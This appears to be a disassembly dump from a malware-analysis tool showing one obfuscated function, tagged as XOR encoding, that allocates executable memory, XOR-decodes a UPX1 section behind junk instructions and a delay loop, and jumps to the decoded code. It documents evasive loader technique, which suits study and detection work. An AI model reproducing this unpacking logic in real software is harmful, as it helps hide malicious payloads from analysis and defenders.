Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xcc506803
dec edx
add ecx, edx
popal
sub ecx, edx
add ecx, edx
mov eax, 0
mov edi, ebx
add edx, edx
mov esi, edx
mov ecx, edi
or edx, esi
and edx, esi
mov ebx, ecx
mov edx, 0xdb6cbc08
add esi, edx
sub esi, 0xa8cd23ba
add eax, 1
add edx, 0xe85b1924
or edx, edx
cmp eax, 0x100e5c1
jne 0xa789bf
sub esi, 0x82e3ae85
sub edx, esi
sub edx, esi
sub edx, ecx
sub edx, ecx
sub edx, 0xc5d23ab9
mov edi, 0xa78796
sub ecx, 1
add eax, ecx
mov edx, 0xa7898a
mov ecx, ebx
dec ecx
mov ecx, ebx
mov esi, dword [edi]
not ecx
dec eax
mov ecx, 0xeb4d47bc
and esi, 0xff
sub eax, ecx
mov ecx, 0x57782ce4
not ecx
xor dword [edx], esi
mov ebx, eax
dec ecx
add edx, 1
or ecx, ecx
not eax
dec ecx
inc edi
not eax
mov ebx, 0xc966ef56
and eax, eax
cmp edx, entry0
jl 0xa78a1f
and ebx, ecx
and ecx, eax
add ecx, 1
or ebx, eax
sub ecx, ebx
add ecx, 1
add ebx, ecx
not ecx
mov edi, 0xa7898e
mov esi, ebx
not ebx
mov edi, dword [edi]
and edx, edx
sub edx, esi
sub ebx, edx
mov edi, dword [edi]
mov ecx, edx
sub ecx, 0xb94cbe60
and edx, ecx
sub esp, 4
mov dword [esp], edi
dec esi
and ebx, ecx
mov edi, 0xa7898a
inc esi
sub esi, ecx
mov edi, dword [edi]
add ebx, ebx
add ebx, esi
not edx
mov edi, dword [edi]
add ebx, 0x663783e5
or ecx, edx
not ebx
push 0xa78992
inc ebx
sub esi, ebx
call edi
add esi, 0xf326df19
sub ebx, esi
pop edi
dec ecx
sub ebx, edx
push 0xa7899f
add ebx, esi
mov edx, 0x46db4073
sub edx, 0xe3e65754
push eax
or esi, edx
not ebx
call edi
sub ecx, edx
or ebx, ebx
not ebx
push 0x40
mov ebx, 0x4ead7219
mov esi, ebx
inc ebx
push 0x3000
inc ebx
or ecx, edx
mov edx, ecx
push 0x20000e5b
not esi
inc esi
push 0
mov esi, 0x53b605f4
sub ecx, 0x2fbf3d20
call eax
sub edx, ecx
sub edx, esi
add eax, 0x20000dae
add edx, edx
and esi, edx
mov edx, 0x406d1851
mov edi, 0xe8f4d547
add ebx, 1
sub esi, edx
sub edx, ebx
mov dword [eax], edi
mov edx, 0x133a514b
sub ebx, ecx
mov edi, dword [eax]
sub edx, 1
inc edx
add ebx, ecx
cmp edi, 0xe8f4d547
je 0xa78b63
mov edx, 0
mov dword [edx], ecx
add ecx, ebx
mov esi, ebx
sub esi, edx
sub edx, ecx
sub ecx, 0xf78a96e8
add edx, edx
mov ecx, 0x26ba4123
mov esi, section.UPX1
mov edx, ecx
mov ecx, edx
mov ebx, 0xa78795
or ecx, ecx
dec edx
mov eax, 0
dec edx
and edx, ecx
mov edi, 0xa78796
sub edx, ecx
mov ecx, 0x708a9f42
not edx
lea edi, [edi + eax]
and edx, edx
or ecx, ecx
sub ecx, edx
mov edi, dword [edi]
add ecx, edx
mov edx, 0x87807435
and edi, 0xff
dec edx
mov ecx, 0xec479e23
dec edx
add eax, 1
add ecx, 0x2563045
add edx, ecx
cmp eax, 0x1f4
jne 0xa78bd9
mov eax, 0
add edx, ecx
or edx, ecx
or ecx, edx
mov edx, ecx
mov ecx, edx
add edx, 0xf4a6eb99
xor dword [esi], edi
or edx, ecx
or edx, edx
sub ecx, edx
add esi, 2
add ecx, edx
or edx, ecx
cmp esi, ebx
jl 0xa78b91
sub edx, 0xaa95e53b
and edx, edx
mov edx, ecx
and ecx, ecx
add ecx, 0x40e07a4d
mov edx, section.UPX1
add edi, edi
dec ebx
mov eax, section.UPX1
mov ebx, 0x514ea710
or ebx, ebx
add edi, edi
mov esi, 0xa78795
add ebx, 0x49dcdb5d
mov ebx, 0xa7a37836
not edi
mov ecx, 0
mov ebx, 0x811ebf5b
sub ebx, 1
mov cl, byte [eax]
dec edi
not ebx
mov edi, ebx
mov byte [edx], cl
mov ebx, edi
sub edi, ebx
inc edx
sub ebx, 0x94961612
sub edi, ebx
add eax, 2
not edi
not edi
cmp eax, esi
jle 0xa78c4d
sub edi, ebx
and edi, ebx
sub edx, 0xcee6482f
mov ecx, edx
push 0x8dc6a0
add edx, 0x231d0c7e
mov edx, 0xfb057d1d
ret